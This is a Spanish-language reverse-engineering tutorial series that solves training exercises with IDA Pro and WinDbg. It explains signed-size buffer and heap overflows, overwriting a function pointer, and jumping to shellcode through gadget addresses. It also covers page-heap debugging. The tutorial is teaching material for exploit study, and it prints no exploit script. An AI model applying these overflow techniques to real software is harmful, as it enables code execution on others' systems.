Es necesario actualizar a la nueva versión del keypatch pues lo utilizaremos al final.

https://github.com/keystone-engine/keypatch

Reemplazo el .py por el nuevo.

http://ricardo.crver.net/WEB/INTRODUCCION%20AL%20REVERSING%20CON%20IDA
%20PRO%20DESDE%20CERO/EJERCICIOS/

Abramos el ejercicio 41 en IDA.

Tratare de no usar símbolos ya que ustedes tampoco los tienen, así lo hacemos en forma
similar.
Si vemos las strings vemos la string Mypepe.dll así que es probable que haya que colocarla
en la misma carpeta, la misma dll de los ejercicios anteriores.

Lo hago la colocó en la carpeta.


haciendo doble click en la string

Vemos la referencia vamos allí con X o CTRL X en la misma.

Vemos que la carga allí, así que vamos bien, esta parece ser la función main como es un
programa de consola, si es así, debería tener como referencia una función que le pasa
como argumentos argc argv etc.
Vemos que en la referencia a la función si vamos allí, está el típico llamado a main se ven
los argumentos de consola.

Así que 401090 es el main, la renombramos.


No hay buffer en el stack que proteger por eso no agrego un CANARY a pesar de que esta
compilado con esa opción.

Comencemos a reversear.

Allí vemos que lee la entrada de la IAT de system, que está en la sección idata, la dirección
de dicha api y la mueve a EAX.

A veces si tienen alguna duda con la sintaxis del IDA, usando el keypatch ven la alternativa
sencilla hasta que se acostumbren.

Allí ven la entrada de la IAT que lógicamente dice extrn, pues es una api externa al módulo
importada para usarla.
Por supuesto en IMPORTS están las funciones importadas por el módulo y la dirección de
la entrada de la IAT muestra 4020a8, así que todo coincide.

Luego escribe en la variable global 0x403088 que es un dword según IDA.

Recordamos que en ida si hay un prefijo de tipo de dato delante de una dirección, significa
que el contenido de esa dirección es de ese tipo en este caso un dword, al menos es de 4
bytes de largo, además escribe allí la dirección de la api.

Así que renombramos la variable global como p_system.


Sabemos que es de largo 4 y como guarda una dirección debe ser del tipo puntero, la
cambiare.

Como se que es un puntero a una api, puedo sin complicarme mucho poner que es un
puntero a algo no conocido.

void * p_system

Total no son necesarias definiciones tan precisas pues se castea, lo importante que es un
puntero a algo.

Así que en definitiva será una variable del tipo puntero que guardará la dirección de la api
system.
Hay otra variable del mismo tipo que guarda la dirección de la api SetProcessDEPPolicy,
hago lo mismo.

Lo cambio también en el decompilado del hexrays con f5 y cambiando el tipo ahí, aunque
no influye en nada.

No tiene mucha influencia esto solo es para mostrar más opciones.

Vemos que la variable global p_system se reusa y guarda el puntero (usa LEA para hallar la
dirección) a la variable size que es un dword obviamente casteara para hacerlo en C++ pero
acá no importa ambos son punteros.
Normalmente cuando una variable se reusa yo lo que hago es poner barras horizontales ya
que no se puede poner la barra inclinada y a continuación el segundo nombre.

Algo como

p_system_____p_size

jeje y bueno en funciones complejas se reúsa mucho y hay que seguir eso.

Luego compara argc que es la cantidad de argumentos con 2, así que es el nombre del
ejecutable más un argumento, o sea dos en total, si no son dos argumentos saltea todo y
sale de la función directamente.

Sabemos que argv es un array y que en la posición 0 se guarda la string del nombre del
ejecutable y si le sumamos 4 como hace allí obtendrá la dirección de la string del primer
argumento.
Luego la pasa esa string a atoi, para tratar de convertirlo a un entero, si no puede dará
error.

Al volver de atoi ese valor se guarda en la variable size que está en el stack.
No confundir con la variable global p_system_____p_size que tiene guardada la dirección
de esta misma variable size.

Compara ese valor size que provino de argv con 0x300 y si es mas grande saltea y va al
return del main, por supuesto ese size es signed, porque la comparación usando JLE nos
dice eso.

Al ser signed pasarle un valor negativo, lo tomara como menor que 0x300 por ejemplo si
paso -1 será menor considerando el signo a 0x300, y pasará la comparación.
Obviamente si es size se usa como tamaño de una api que lo tome como unsigned podrá
haber overflow, pues para dicha api no será un valor negativo sino sin signo, por ejemplo si
era -1, para la api que lo tome como positivo será 0xffffffff el máximo positivo.

Vemos la función cuyo argumento es el size, a la misma aún no le pusimos nombre ya


veremos según lo que hace, entremos en ella.

Vemos que hay un gets_s para ingresar datos así que le pongo a la función el nombre
ingreso.

Ese gets_s tiene como tamaño el size que sabiamos que podía ser un valor que tomado
como unsigned podía overflodear el buffer.
Allí vemos que el tamaño la api lo toma como del tipo size_t

Y este size_t es unsigned, así que seguro podremos overflodear el buffer, veamos cuanto
es el largo del mismo, aunque ya vimos que lo hacia mal, pero intentaba filtrar los tamaños
de size mayores que 0x300 así que es muy probable que el size del buffer sea ese.

Vemos que el buffer está en la sección data e IDA me dice que el largo del mismo es de
0x64 justo debajo del buffer vemos las variables globales p_SetDEP y p_system____p_size,
así que no hay error, el chequeo de si es mayor de 0x300 incluso permite overflodear este
buffer de 0x64 (100 decimal), sin necesidad de ser negativo, solo con ser el size mayor que
0x64.
Una vez que escriba más que 0x64, seguiré hacia abajo, y podré pisar los punteros
guardados allí en la sección data.

Ahora después de que los escriba usara alguna vez esos punteros?

Veo en las referencias a p_SetDEP que hay un call usando ese puntero a la función y que si
lo piso con el overflow podría desviar la ejecución.

Justo esta despues del gets_s así que viene perfecto, hagamos el script.
Modifico el script que tenia que era bastante similar le dejo -1 cómo size, total pasará el
chequeo y pongo 0x64 Aes para llenar el buffer, y luego por ahora pongo 0x99989796 que
supuestamente debería pisar el puntero que está justo debajo.

Como el ROP de Mypepe.dll ya estaba hecho lo dejo, ya veré como lo acomodo, por ahora
ejecuto el script y atacheo el IDA pongo un breakpoint justo después del gets_s, para que
pare allí.
Vemos que el buffer se ve bastante lleno vayamos allí a ver.

Si aprieto U para UNDEFINE se ven las Aes vayamos a ver si piso el puntero.

Nos queda ver si pisamos el puntero.


Aprieto la D hasta que lo convierto en un dword y veo que está bien pisado, por el valor que
puse.

Veo que no tiene DEP pues acabamos de pisar la justo la api que lo iba a habilitar
SetProcessDEPPolicy, así que no necesitaremos el ROP aquí.

EAX está apuntando al buffer con las Aes, así que si puedo saltar allí podré acomodar el
shellcode al inicio, y ejecutarlo.
Podría buscar un CALL EAX en la mypepe que no tiene asir, uso el nuevo keypatch con la
opción SEARCH y pongo CALL EAX.

Vemos en los resultados que hay varios de mypepe, elijo alguno por ejemplo.
Cuando voy allí aprieto la C para que se transforme en código, pues no lo había
desensamblado.
0x7802c16e será el CALL EAX que elijo lo pongo en el script.

Al shellcode lo coloco adelante, ya que salta al inicio del buffer y para no variar el largo
antes del puntero le resto el largo del shellcode a la cantidad de Aes .(el ROP ya no lo
necesito así que lo quito.)

Listo el pollo ya ejecuta la calculadora, les dejo a ver si alguien me pone contento y hace el
41b. (o al menos lo intenta)
Hasta la parte siguiente.
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 43
Vamos a solucionar la práctica 41b.

Si cambiamos a DEMANGLED NAMES – NAMES, vemos que queda más lindo.


Aun si no les muestra la función con el nombre new, y les muestra una dirección
numérica, new es muy parecido a malloc, en el código fuente obviamente new se aplica
sobre un objeto y internamente llama a malloc reservando memoria para el mismo y
malloc directamente se le pasa un size numérico, pero aquí, no hay mucha diferencia. (en
caso de usar new para instancias de clases puede llamarse al constructor de la clase
luego de allocar, lo que no se hace con malloc pero aquí no se da ese caso)
Vemos que en el código fuente se llama a un new, creando un objeto del tipo listeros que aquí no se ve que es,
pero el tema es que ese tipo listeros tiene un size y es lo que a bajo nivel se termina pasando a malloc para
reservar en la memoria, al menos en este caso no hay gran diferencia.
Vemos que aun sin saber que dicha función es un new porque me lo dice IDA, veo que el size se lo pasa a
malloc y reserva esa cantidad de memoria y lo devuelve en EAX, ya que si puede reservar ese size devolverá
distinto de cero, y ira por el camino de la flecha roja al retn.

Así que en condiciones normales aun sin saber que es un new si le pongo a la función esta como nombre
_malloc porque termina llamando a malloc, no habría gran problema, si IDA no me avisara, sería un malloc
de 0x6C que es el largo del objeto, o si no se eso, es el size a allocar y punto.
Vemos que la dirección de la zona allocada la guarda en Dst, así que podría renombrarla a p_Dst_Heap, ya
que apunta a la zona allocada que se encuentra en el Heap, ya que malloc reserva zonas en el Heap
devolviéndome la dirección a ella.

Si devuelve distinto de cero o sea si allocó correctamente va al bloque verde, donde le pasa esa misma
dirección y hace memset para llenar todo ese buffer en el heap de ceros, para vaciarlo de contenido anterior.

Vemos aquí
Copia el mismo puntero a otra variable, así que le puse p_Dst_Heap_2 ya que no puedo ponerle a dos
variables diferentes el mismo nombre.

Allí ya empezamos a sospechar que el new se realizó para allocar un objeto del tipo estructura, vemos que el
mismo puntero lo guarda en la variable Buf luego lo mueve a EAX y luego en la posición 68 de la zona
reservada escribe la dirección de system, y en la posición 0x64 escribe la dirección de SetProcessDEPPolicy,
así que podemos pensar que como tiene diferentes tipos de datos guardados dentro, sería una estructura de
0x6c de largo donde en 0x64 hay un puntero y en 0x68 otro, podemos armarla.

struct _listeros
{
char Buf[0x64];
void * puntero1;
void * puntero2;

};
Veamos si funciona, esta estructura tendría un buffer interno en el inicio de 0x64 y dos campos del tipo
puntero o sea 8 bytes más, si todo está bien su largo seria 0x6c, veamos vayamos a LOCAL TYPES y
agreguémosla.
En LOCAL TYPES hago click derecho INSERT y la agrego y luego click derecho SYNCRONIZE TO IDB.

Allí EAX y más abajo EDX apuntan al inicio de la estructura si en cada una aprieto T y elijo listeros.
Queda así, podría ponerle nombres más descriptivos a los campos, como creamos la estructura en LOCAL
TYPES debemos editar los nombres allí.

Vemos que también si apretamos T en el próximo campo, también corresponde al puntero2 que se reusa
guardando el size, al igual que en la práctica anterior, así que lo renombrare.
Ahora si, ese campo inicialmente se usa para guardar el puntero a system y luego se guarda el size por eso la
separación con guiones bajos para que se note que la variable se reuso.

Luego compara argc con 2 para ver si son dos argumentos, el nombre del ejecutable más un segundo
argumento igual que en la práctica anterior.

Este bloque es similar a la práctica anterior lee el argumento que le pasamos si puede lo transforma a entero e
igual que antes si es más grande que 0x300 te saltea al final del main, directo al ret.
También en este se usa JGE por lo cual se considera el signo, por lo que valores negativos, serán menores que
0x300 y pasaran la comparación perfectamente.

Luego de cargar mypepe.dll


Llega a la función donde se le pasan dos argumentos, el inicio de la estructura que está en Buf y el size que
vino del argumento que se transformó a entero.

Veamos la función.

Vemos que con get_s recibirá lo que tipea el usuario, y como el size puede ser negativo desbordara, aquí el
tema es que cuando hacemos malloc creamos un buffer en el heap para alojar la estructura entera, y dentro de
la misma hay un campo de la estructura que es un buffer interno para recibir lo que tipea el usuario en el
gets_s.
Si todo funcionara y el chequeo no dejara pasar valores negativos ni mayores que 0x64, no se podría
desbordar el buffer Buf y pisar los punteros que están debajo en la estructura.

struct _listeros
{
char Buf[0x64];
void * puntero1;
void * puntero2;

};
De cualquier forma aquí no solo podemos desbordar el buffer Buf y pisar los punteros sino que podemos
continuar escribiendo mas abajo y desbordar el bloque allocado entero de 0x6c y seguir rompiendo y pisando
cosas en el heap.

Ya nos damos una idea de que como justo debajo usa el puntero a setDEP podremos saltar a ejecutar.

Para pisar ese puntero sabemos que tenemos que llenar el buffer Buf que media 0x64 y luego desbordara.
Vemos que modificando un poco el script anterior, tenemos algo bastante funcional, el shellcode va adelante
y se debe compensar para que el total antes de la dirección a saltar sea 0x64, veamos cómo va.
Vemos que EAX tiene el puntero a donde saltar y EDX apunta al inicio del buffer donde está mi shellcode.

Así que buscando un JMP EDX o CALL EDX o PUSH EDX –RET ya que no tiene DEP funcionara usemos
idasploiter.

Ese gadget hace PUSH EDX, luego tiene instrucciones en el medio que no cambian el stack ni crashean y
luego RET así que funcionara.

Listo el pollo jeje.


Ahora el tema en la realidad con los heap overflows es que suelen ser complejos y menos reliables (porcentaje
de efectividad) o sea que en este caso la distancia entre el buffer sobrescrito y el puntero es fija porque lo
arme idealmente y está todo dentro de la misma estructura, pero la mayor parte de las veces desbordaremos un
bloque del heap, y pisaremos muchas veces otro donde hay punteros, pero la distancia no será constante
porque no es 100% determinística la ubicación de los bloques de diferentes tamaños, y a veces también
fallara.

Por eso poco a poco iremos introduciendo dificultad a medida que vayamos avanzando.

Uno de los problemas que veremos ahora, se da cuando fuzzeamos (usamos una tool que pruebe millones de
combinaciones de entrada) y descubrimos un crash y no sabemos si allí hay un overflow o que, necesitamos
saber más del mismo para poder manejar la explotación, pongamosle que es este caso, hago un script parecido
pero sin conocer tamaños ni nada y se lo tiro a un programa o es el resultado de usar una tool de fuzzing que
me dice que ese script crashea el mismo.

Supongamos que la tool fue tirándole y probando miles de combinaciones de entradas, y llego a que este
script crashea el programa, podemos ejecutarlo y vemos que así será, coloco el IDA como JIT dese una
consola de administrador yendo a la carpeta donde está el ejecutable del IDA con cd y luego.

idaq.exe -I1

Si lanzo el script y no atacheo el IDA aprieto ENTER y espero que crashee para atachearse automáticamente
el IDA como JIT.
Vemos que el programa salto a ejecutar EIP vale 0x41414141, pero como sabemos que paso y si hay un
overflow y donde se produjo, miremos el call stack a ver de dónde venimos ejecutando.

Vemos que no muestra nada en el stack hay lo que parece un return address que vendría del ejecutable
PRACTICA41b.exe.
Así que analicemos el mismo, pues así como esta no se ve nada, recordemos que el IDA se atacheo como JIT
y no tiene ningún análisis hecho.
En MODULE LIST busco analize module y load symbols.
Bueno al menos sabemos dónde salto y que esa dirección en el stack es un return address que coloco el CALL
EAX al saltar a 0x41414141.

Si es un programa sencillo como el que estamos usando, quizás podríamos ver donde allocó y donde escribió
y overflodeo, pero en un programa real hay miles de allocaciones y escrituras y nos volveremos locos
haciéndolo.

Por hoy veremos un truco que nos dirá el punto justo donde escribió y overflodeo el programa, sea el más
difícil del mundo y con un millón de allocaciones funcionara igual.

Eso es parte de una página que está aquí

https://blogs.msdn.microsoft.com/webdav_101/2010/06/22/detecting-heap-corruption-using-gflags-and-
dumps/
El tema es que usando gflags que trae el Windbg, cambiamos la forma en que se maneja el heap y como dice
ahí ubica al final de cada allocacion en el modo FULL PAGE, un bloque no escribible, cosa de que cuando se
pase un byte del tamaño del bloque crashee por escritura y me deje justo en el punto donde escribe y
overflodea, que es normalmente el punto interesante.

Voy hasta el path donde está el gflags.exe en la misma carpeta que esta el windbg.exe y cambio a que este
habilitado el PAGE HEAP en modo FULL con.

gflags.exe -p /enable PRACTICA41b.exe /full

Cuando termino de trabajar para que vuelva a la forma normal

gflags.exe -p /disable PRACTICA41b.exe

Bueno la cuestión es que lo habilitamos y cerramos el IDA que sigue estando como JIT y relanzamos el
script.

Vemos que cambio ahora, esta crasheando al tratar de escribir la A o sea 0x41 fuera del bloque correcto
provocando un overflow, ahora podemos ver de dónde viene la escritura perversa jeje.
En el STACK TRACE ahora vemos de donde viene vemos el gets_s donde se produjo el overflow y desde
donde el programa lo llamo.

Que es la llamada a get_s si queremos que nos diga el nombre analizamos y buscamos los símbolos del
módulo ucrtbase.dll que vimos en el call stack que era el que tiene la función gets_s exportada.
Bueno poniendo el mouse encima se ve.

Y podemos a mano por ahora, hasta que veamos el análisis del heap más detallado en windbg, saber
aproximadamente el tamaño el bloque allocado en el heap, al menos lo que tengo que escribir para
desbordarlo.

Si voy a ESI que apunta adonde intento escribir.

Le pongo menos 1 porque en ESI no pudo escribir, ahí veo los 41 que venía escribiendo si voy al inicio de los
mismo subiendo.
Marcando toda la zona y luego apretando EDIT-ARRAY.

Vemos que me da 112 que es el tamaño 0x70 aproximado del bloque allocado que era 0x6c, obvio también
esto depende de que se escriba desde el inicio del bloque o no, y hay 4 bytes que bueno el sistema no es
perfecto al allocar una página contigua y redondea un poco, pero estamos bastante cerca, obviamente con los
comandos del Windbg embebido será mucho más sencillo, pero siempre habilitar con gflags page heap full, es
muy útil hallamos algo que puede llevar horas y enloquecer a más de uno, el punto donde se produjo el
overflow en el heap.
Obviamente al hablar de overflow hablamos de desbordar el bloque que se allocó con malloc, el sistema pude
detectar eso, pero si solo desbordáramos el buffer interno de la estructura y solo nos pasáramos 4 bytes para
pisar el puntero a SetDEP esto no funcionaria, aunque ese es un caso muy extraño y no es lo normal, lo que
siempre ocurre es un desbordamiento en algún bloque de heap que se pasa y pisa los bloques que están
contiguos.
Vuelvan el heap al estado normal al terminar.

Hasta la parte 44
Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 44
Por supuesto tenemos el ejercicio para resolver PRACTICA_44, pero lo haremos en la partes
siguientes ahora veremos alguna info mas que podemos obtener usando Windbg dentro de IDA.
Usaremos el caso anterior del PRACTICA 41 b que como sabemos era un heap overfow.

Cambiamos el debugger de IDA a Windbg y nos jamos que en las DEBUGGER OPTIONS este en
modo USER.

Cambiamos el gfags para que el proceso tenga el PAGE HEAP enabled en modo full.
Y lanzo el script2

Pero esta vez cuando se detene atacheo el IDA con al análisis del PRACTICA41b cargado en el
LOADER y por supuesto en modo debugger Windbg user.

Lógicamente crasheara al igual que antes, cuando intenta escribir fuera del bloque allocado y
desborda.
Por supuesto para esto tenen que tener bien con gurado el Windbg dentro de IDA de cualquier
manera si alguien tuvo problemas para instalar el Windbg y que ida se lo reconozca, lo pude hacer
atacheando el WINDBG fuera de IDA y tpeando los comandos en el mismo, no tendrán la interfase
del IDA pero les dará la misma información.

Bueno tene muchos comandos de heap útles el Windbg, creo que para trabajar con heaps es el
más completo.
Ese comando es muy útl solo funciona por completo con las page heap full enabled, y vemos que
me dice el size del bloque allocado, que el mismo esta usado o busy (no libre) y me informa la
historia de los lugares por donde paso cuando ese bloque se allocó.

Si hubiéramos lanzado el mismo comando en un bloque que fue liberado o free, nos daría la
historia de los lugares donde se liberó.

Vemos que la allocacion proviene de

002411ac PRACTICA41b+0x000011ac
Y hacia arriba en la lista de la historia, se ve como llama a malloc luego internamente a
RtlAllocateHeap etc.

Hacia abajo en la lista de la historia tenemos

0024109d PRACTICA41b+0x0000109d

Vemos que nos marca los return address de los calls donde entro al allocar.

Vemos que nos muestra el user address que es el inicio del bloque para el usuario, donde se
puede escribir, antes está el header del bloque.
En la página de Microso vemos la información del header en este caso para heap en modo full
page, vemos que comienza con ABCDBBBB y termina con DCABBBBB, veamos si lo vemos justo
antes del inicio de donde escribimos.

Con el comando dt del Windbg seguido de _DPH_BLOCK_INFORMATION nos dará la información


de los campos del header.

Si vamos a la dirección que apunta el stack trace


Vemos que un poco más abajo, guarda la historia de la allocacion, coincide con los que nos dio el
comando

¡heap –p –a xxx
Ahora probaremos que info nos da en el caso de usarlo con heap normal, obviamente no será tan
especí ca ni tendrá historia de cada bloque, pero bueno.

Deshabilito el page guard full.

Lanzo el script de nuevo y cuando para atacheo de nuevo el ida con el análisis y el debugger
Windbg local como antes.

Lógicamente no tenemos la misma info y el programa crasheo cuando salta a ejecutar miremos el
heap a ver que vemos.

Las estadístcas del heap

Si vamos a la zona donde salto mirando el stack, sabemos que viene de allí.
Y vemos que EBP no cambio y como conocemos el programa haremos trampita mirando el valor
del bu er que le pasamos a gets_s que es el inicio del bloque allocado pues copia allí, se le pasa
como argumento (obviamente esto lo podemos hacer porque es un programita sencillo y para
aprender, sino hay que habilitar el page guard y hacer lo que vimos antes)

La variable Buf sigue apuntando al inicio del bloque del heap, asi que podemos ir allí.
Esta corrupta eso sabemos.

Obviamente como esta todo roto, trataremos de atachearlo antes de que se rompa el heap para
ver la info de un bloque bueno, no puedo arrancarlo directo en IDA porque eso lo arranca en
modo debug al heap, así que le pondré un EB FE en el inicio para que quede loopeando y cuando
lo arranque lo atacheare.
Le cambiare el 74 18 del salto condicional por un EB FE, una vez cambiados EDIT-PATCH
PROGRAM- APPLY PATCH TO INPUT FILE.

Ahora arranco el script una vez que queda loopeando paro ahí, pero como ya paso por el malloc ya
puedo mirar el heap.

Después de allocar EAX queda con la dirección del bloque.


Veamos que dice.

User como siempre es la parte donde se puede escribir, y Entry es donde comienza el header,
veamos.

Nos muestra un solo heap y allí esta veamos su contenido.

WINDBG>!heap -a 007a0000
Index Address Name Debugging options enabled
1: 007a0000
Segment at 007a0000 to 008a0000 (0004b000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00100000
Segment Commit: 00002000
DeCommit Block Thres: 00000800
DeCommit Total Thres: 00002000
Total Free Size: 0000031b
Max. Allocation Size: 7ffdefff
Lock Variable at: 007a0138
Next TagIndex: 0000
Maximum TagIndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 007a00a0
Uncommitted ranges: 007a0090
007eb000: 000b5000 (741376 bytes)
FreeList[ 00 ] at 007a00c4: 007e8ec0 . 007e4e90
007e4e88: 00028 . 00010 [100] - free
007a6750: 00028 . 00010 [100] - free
007a6158: 00050 . 00010 [100] - free
007e2d30: 00028 . 00018 [100] - free
007e2c58: 00210 . 00018 [100] - free
007e8eb8: 00078 . 01878 [100] - free

Segment00 at 007a0000:
Flags: 00000000
Base: 007a0000
First Entry: 007a0588
Last Entry: 008a0000
Total Pages: 00000100
Total UnCommit: 000000b5
Largest UnCommit:00000000
UnCommitted Ranges: (1)

Heap entries for Segment00 in Heap 007a0000


address: psize . size flags state (requested size)
007a0000: 00000 . 00588 [101] - busy (587)
007a0588: 00588 . 00240 [101] - busy (23f)
007a07c8: 00240 . 00020 [101] - busy (18)
007a07e8: 00020 . 01dd8 [101] - busy (1dce)
007a25c0: 01dd8 . 02d00 [101] - busy (2cf8)
007a52c0: 02d00 . 00048 [101] - busy (3c)
007a5308: 00048 . 00038 [101] - busy (30)
007a5340: 00038 . 00080 [101] - busy (78)
007a53c0: 00080 . 00080 [101] - busy (78)
007a5440: 00080 . 00048 [101] - busy (3c)
007a5488: 00048 . 00228 [101] - busy (220)
007a56b0: 00228 . 00050 [101] - busy (42)
007a5700: 00050 . 00080 [101] - busy (78)
007a5780: 00080 . 00018 [101] - busy (10)
007a5798: 00018 . 00050 [101] - busy (46)
007a57e8: 00050 . 00080 [101] - busy (78)
007a5868: 00080 . 00018 [101] - busy (10)
007a5880: 00018 . 00018 [101] - busy (10)
007a5898: 00018 . 00020 [101] - busy (14)
007a58b8: 00020 . 00070 [101] - busy (64)
007a5928: 00070 . 00208 [101] - busy (200)
007a5b30: 00208 . 00208 [101] - busy (200)
007a5d38: 00208 . 00030 [101] - busy (24)
007a5d68: 00030 . 00030 [101] - busy (24)
007a5d98: 00030 . 00038 [101] - busy (30)
007a5dd0: 00038 . 00028 [101] - busy (20)
007a5df8: 00028 . 00028 [101] - busy (20)
007a5e20: 00028 . 00028 [101] - busy (20)
007a5e48: 00028 . 00028 [101] - busy (20)
007a5e70: 00028 . 00018 [101] - busy (10)
007a5e88: 00018 . 00080 [101] - busy (78)
007a5f08: 00080 . 00080 [101] - busy (78)
007a5f88: 00080 . 00018 [101] - busy (10)
007a5fa0: 00018 . 00020 [101] - busy (14)
007a5fc0: 00020 . 00020 [101] - busy (10)
007a5fe0: 00020 . 00078 [101] - busy (6c)
007a6058: 00078 . 00080 [101] - busy (78)
007a60d8: 00080 . 00018 [101] - busy (10)
007a60f0: 00018 . 00018 [101] - busy (10)
007a6108: 00018 . 00050 [101] - busy (42)
007a6158: 00050 . 00010 [100]
007a6168: 00010 . 00058 [101] - busy (4a)
007a61c0: 00058 . 00080 [101] - busy (78)
007a6240: 00080 . 00020 [101] - busy (10)
007a6260: 00020 . 00018 [101] - busy (10)
007a6278: 00018 . 00080 [101] - busy (78)
007a62f8: 00080 . 00020 [101] - busy (10)
007a6318: 00020 . 00018 [101] - busy (10)
007a6330: 00018 . 00018 [101] - busy (10)
007a6348: 00018 . 00070 [101] - busy (68)
007a63b8: 00070 . 00080 [101] - busy (78)
007a6438: 00080 . 00018 [101] - busy (10)
007a6450: 00018 . 00070 [101] - busy (68)
007a64c0: 00070 . 00078 [101] - busy (70)
007a6538: 00078 . 00080 [101] - busy (78)
007a65b8: 00080 . 00020 [101] - busy (10)
007a65d8: 00020 . 00018 [101] - busy (10)
007a65f0: 00018 . 00020 [101] - busy (10)
007a6610: 00020 . 00078 [101] - busy (6a)
007a6688: 00078 . 00088 [101] - busy (7c)
007a6710: 00088 . 00018 [101] - busy (10)
007a6728: 00018 . 00028 [101] - busy (20)
007a6750: 00028 . 00010 [100]
007a6760: 00010 . 00080 [101] - busy (78)
007a67e0: 00080 . 00080 [101] - busy (78)
007a6860: 00080 . 03d20 [101] - busy (3d1f)
007aa580: 03d20 . 378b0 [101] - busy (378a8) Internal
007e1e30: 378b0 . 00080 [101] - busy (78)
007e1eb0: 00080 . 00020 [101] - busy (17)
007e1ed0: 00020 . 00400 [101] - busy (3f8) Internal
007e22d0: 00400 . 00400 [101] - busy (3f8) Internal
007e26d0: 00400 . 00080 [101] - busy (78)
007e2750: 00080 . 00080 [101] - busy (78)
007e27d0: 00080 . 00028 [101] - busy (20)
007e27f8: 00028 . 00028 [101] - busy (20)
007e2820: 00028 . 00070 [101] - busy (66)
007e2890: 00070 . 00080 [101] - busy (78)
007e2910: 00080 . 00028 [101] - busy (20)
007e2938: 00028 . 00028 [101] - busy (20)
007e2960: 00028 . 00070 [101] - busy (68)
007e29d0: 00070 . 00078 [101] - busy (6a)
007e2a48: 00078 . 00210 [101] - busy (208)
007e2c58: 00210 . 00018 [100]
007e2c70: 00018 . 00070 [101] - busy (66)
007e2ce0: 00070 . 00028 [101] - busy (20)
007e2d08: 00028 . 00028 [101] - busy (20)
007e2d30: 00028 . 00018 [100]
007e2d48: 00018 . 00078 [101] - busy (6c)
007e2dc0: 00078 . 02000 [101] - busy (1ff8) Internal
007e4dc0: 02000 . 00028 [101] - busy (20)
007e4de8: 00028 . 00028 [101] - busy (20)
007e4e10: 00028 . 00028 [101] - busy (20)
007e4e38: 00028 . 00028 [101] - busy (20)
007e4e60: 00028 . 00028 [101] - busy (20)
007e4e88: 00028 . 00010 [100]
007e4e98: 00010 . 00078 [101] - busy (6a)
007e4f10: 00078 . 00408 [101] - busy (400)
007e5318: 00408 . 00028 [101] - busy (20)
007e5340: 00028 . 00800 [101] - busy (7f8) Internal
007e5b40: 00800 . 006d0 [101] - busy (6c8)
007e6210: 006d0 . 00c08 [101] - busy (c00)
007e6e18: 00c08 . 00800 [101] - busy (7f8) Internal
007e7618: 00800 . 00228 [101] - busy (220)
007e7840: 00228 . 00228 [101] - busy (220)
007e7a68: 00228 . 00490 [101] - busy (483)
007e7ef8: 00490 . 00218 [101] - busy (209)
007e8110: 00218 . 00058 [101] - busy (4a)
007e8168: 00058 . 00808 [101] - busy (800)
007e8970: 00808 . 00088 [101] - busy (80)
007e89f8: 00088 . 00448 [101] - busy (440)
007e8e40: 00448 . 00078 [101] - busy (6c)
007e8eb8: 00078 . 01878 [100]
007ea730: 01878 . 00100 [101] - busy (f4)
007ea830: 00100 . 00038 [101] - busy (2e)
007ea868: 00038 . 00030 [101] - busy (28)
007ea898: 00030 . 00040 [101] - busy (37)
007ea8d8: 00040 . 00048 [101] - busy (3c)
007ea920: 00048 . 00040 [101] - busy (31)
007ea960: 00040 . 00030 [101] - busy (24)
007ea990: 00030 . 00040 [101] - busy (32)
007ea9d0: 00040 . 00038 [101] - busy (2e)
007eaa08: 00038 . 00038 [101] - busy (2c)
007eaa40: 00038 . 00030 [101] - busy (28)
007eaa70: 00030 . 00030 [101] - busy (21)
007eaaa0: 00030 . 00020 [101] - busy (15)
007eaac0: 00020 . 00038 [101] - busy (2b)
007eaaf8: 00038 . 00030 [101] - busy (22)
007eab28: 00030 . 00038 [101] - busy (2e)
007eab60: 00038 . 00048 [101] - busy (39)
007eaba8: 00048 . 00020 [101] - busy (17)
007eabc8: 00020 . 00040 [101] - busy (36)
007eac08: 00040 . 00050 [101] - busy (47)
007eac58: 00050 . 00050 [101] - busy (48)
007eaca8: 00050 . 00020 [101] - busy (12)
007eacc8: 00020 . 00020 [101] - busy (18)
007eace8: 00020 . 00030 [101] - busy (24)
007ead18: 00030 . 00038 [101] - busy (29)
007ead50: 00038 . 00098 [101] - busy (8b)
007eade8: 00098 . 00020 [101] - busy (17)
007eae08: 00020 . 00020 [101] - busy (11)
007eae28: 00020 . 00020 [101] - busy (18)
007eae48: 00020 . 00020 [101] - busy (17)
007eae68: 00020 . 00030 [101] - busy (21)
007eae98: 00030 . 00020 [101] - busy (13)
007eaeb8: 00020 . 00020 [101] - busy (14)
007eaed8: 00020 . 00020 [101] - busy (16)
007eaef8: 00020 . 00030 [101] - busy (28)
007eaf28: 00030 . 00030 [101] - busy (27)
007eaf58: 00030 . 00060 [101] - busy (52)
007eafb8: 00060 . 00028 [101] - busy (12)
007eafe0: 00028 . 00020 [111] - busy (1d)
007eb000: 000b5000 - uncommitted bytes.

Si vemos en la lista, está el bloque si lo buscamos por la dirección del header y nos dice el size
Vemos que ya no nos muestra la historia aunque si el size, el size general es 0xf porque para hallar
el total se multplica por 8 lo que da

hex(0xf *0x8)

'0x78'

Que es el size completo con el header y la nalización etc.

En el caso del heap normal para ver los valores hay que usar

El tema es que están encodeados (xoreados) con una constante, donde podemos hallar la
constante para desexorearlos.
Vemos que el o set 0x50 de la estructura del heap se llama encoding

WINDBG>dd 007a0000+ 0x50 L2


007a0050 4ede14ce 000068d6

Son esos DWORDS los que xorearon la info.

Si hacemos lo mismo en el header dividiéndolo en dos DWORDS

dd 007E8E40 L2

Tengo los dos dwords que debo xorear con los dos de la entrada.

WINDBG>dd 007a0000+ 0x50 L2


007a0050 4ede14ce 000068d6

WINDBG>dd 007E8E40 L2
007e8e40 40df14c1 0c00685f

Xoreo
WINDBG>? 4ede14ce ^ 40df14c1
Evaluate expression: 234946575 = 0e01000f
WINDBG>? 68d6 ^ 0c00685f
Evaluate expression: 201326729 = 0c000089

Podemos armar la tablita, obviamente romperemos el programa y no podrá correr más pero para
ver.

Remplazo los valores por los xoreados.


Como en este caso el size es 0xf, hay que multplicarlo por ocho para hallar el size total y me da
0x78 que es el mismo que me daba al inicio lo que incluye el header y la nalización.

Bueno vamos poco a poco mirando y familiarizándonos con los bloques del heap, la próxima
veremos que nos tene que decir mona sobre esto, si ayuda o no jeje.

Hasta la parte 45

Ricardo Narvaja
INTRODUCCIÓN AL REVERSING
CON IDA PRO DESDE CERO
PARTE 45
